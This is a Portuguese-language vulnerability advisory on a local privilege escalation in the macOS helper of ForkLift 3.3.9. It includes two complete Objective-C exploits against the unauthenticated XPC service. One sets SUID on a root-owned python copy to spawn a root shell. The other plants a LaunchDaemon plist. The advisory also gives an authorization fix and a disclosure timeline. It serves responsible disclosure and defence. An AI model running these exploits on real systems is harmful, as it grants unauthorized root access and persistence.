Escalação de Privilégio Local no Forklift 3.3.9

Ao instalar o Forklift, um novo helper chamado com.binarynights.ForkLiftHelper para Mac OS X é instalado automaticamente no diretório /Library/PrivilegedHelperTools/. A análise desse helper, que trata mensagens XPC, resultou em diferentes formas de escalar privilégios de usuário para root no Mac OS X.

Ao aceitar chamadas XPC, a função HelperTool listener:shouldAcceptNewConnection, respectivamente (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection, é usada por padrão. Essa função é utilizada para executar as etapas iniciais do estabelecimento de uma conexão XPC. Normalmente, essa função realiza a autorização do chamador — no entanto, a função do com.binarynights.ForkLiftHelper não implementa nenhuma verificação de autorização. Dessa forma, é possível chamar qualquer função exposta via XPC sem autorização.

As seguintes funções são expostas ao chamador via XPC:

@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

Exploração via Setuid

O primeiro método para explorar este helper é o seguinte:

Passo 1: chown no interpretador alvo

Copie, por exemplo, o interpretador python para um diretório controlado pelo usuário e chame a função XPC changeOwner com o parâmetro @"<path>" owner:0 group:0. Isso alterará a propriedade do interpretador python para root.

Passo 2: Definir a flag SUID

Em segundo lugar, é possível definir o bit SUID no interpretador enviando uma requisição XPC para a função changePermissions com o seguinte parâmetro @"<path>" permissions:2541. As permissões 2541 representam em octal o número 4755, que define a flag SUID no binário.

Passo 3: LPE

O seguinte comando abrirá um shell como root:

$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]

Exploit Completo

Certifique-se de primeiro copiar um interpretador python para /tmp com o nome python_copied. O exploit a seguir demonstra esta LPE:

//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//  
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        
        NSLog(@"Done!");
    }
    return 0;
}

Exploração via LaunchAgent

O segundo método para explorar este helper é o seguinte:

Escrevendo um novo Launch Agent

Devido à chamada XPC moveItem, é possível mover qualquer item como root. Dessa forma, é possível escrever um arquivo plist no diretório /tmp e depois copiá-lo para o diretório /Library/LaunchDaemons/. Os seguintes parâmetros são usados para a função moveItem: @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"

Exploit Completo

O código a seguir adicionará automaticamente um novo launch agent que é acionado em uma reinicialização:

//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        "<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
        "<plist version=\"1.0\">"
        "<dict>"
        "  <key>Label</key>"
        "  <string>com.sample.Load</string>"
        "  <key>ProgramArguments</key>"
        "  <array>"
        "      <string>/bin/zsh</string>"
      "      <string>-c</string>"
      "      <string>touch /Library/foobar.txt</string>"
        "  </array>"
        "    <key>RunAtLoad</key>"
        "    <true/>"
        "</dict>"
        "</plist>";
        
        [my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        NSLog(@"Done!");
    }
    return 0;
}

Recomendação

Recomenda-se aplicar verificação de autorização ao chamar o helper XPC.

Estas verificações de autorização devem incluir:

O chamador é um aplicativo assinado válido
O aplicativo chamador foi bem endurecido contra ataques de injeção DYLIB (flag de runtime)
O aplicativo chamador possui o TeamID correto da empresa de software

Um excelente recurso para as verificações de autorização pode ser encontrado na fonte [1].

O seguinte exemplo da função shouldAcceptNewConnecton exibe os diferentes estágios das verificações de autorização corretas:

@interface NSXPCConnection(PrivateAuditToken)

// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;

@end

// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
   audit_token_t auditToken = connection.auditToken;
   NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
   NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
   SecCodeRef code = NULL;
   if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
       return NO;
   }
   // Before checking the requirement make sure that code signing flags
   // CS_HARD and CS_KILL are set. Dynamic code signature checks can only
   // check the code pages already swapped into memory, so make sure that
   // no malicious code can be loaded at a later time. You may want to
   // disable this check in debug builds.
   CFDictionaryRef csInfo = NULL;
   if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
       return NO;
   } else {
       uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
       CFRelease(csInfo);
       const uint32_t cs_hard = 0x100;         // don't load invalid pages
       const uint32_t cs_kill = 0x200;         // kill process if page is invalid
       const uint32_t cs_restrict = 0x800;     // prevent debugging
       const uint32_t cs_require_lv = 0x2000;  // Library Validation
       const uint32_t cs_runtime = 0x10000;    // hardened runtime
       if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
           // add all flags to check which are in your code signature!
           // In particular, we recommend cs_require_lv and cs_restrict.
           return NO;    // Not accepted because it can be tampered with
       }
   }

   NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
   SecRequirementRef requirement = NULL;

   // Check at least the peer's TeamID, e.g.
   // "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
   if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
       abort(); // error in requirement string
   }

   OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
   CFRelease(code);
   CFRelease(requirement);
   if (status != errSecSuccess) {
       return NO;
   }

   // further initialization of connection goes here...

   return YES;
}

Cronograma de Divulgação

08.06.2020 Contato inicial para o endereço de e-mail
08.06.2020 Resposta para enviar o mesmo e-mail sem criptografia
09.06.2020 Pergunta de acompanhamento sobre criptografia
10.06.2020 Autorização para divulgação criptografada
12.06.2020 Divulgação da LPE
15.06.2020 Correção parcial para CVE-2020-15349 (LPE)
16.06.2020 Divulgação da LPE de Entitlements
19.06.2020 Divulgação de que a correção de CVE-2020-15349 era apenas parcial
19.08.2020 Correção de CVE-2020-27192 e correção final para CVE-2020-15349

Recursos

[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/

Forklift_LPE

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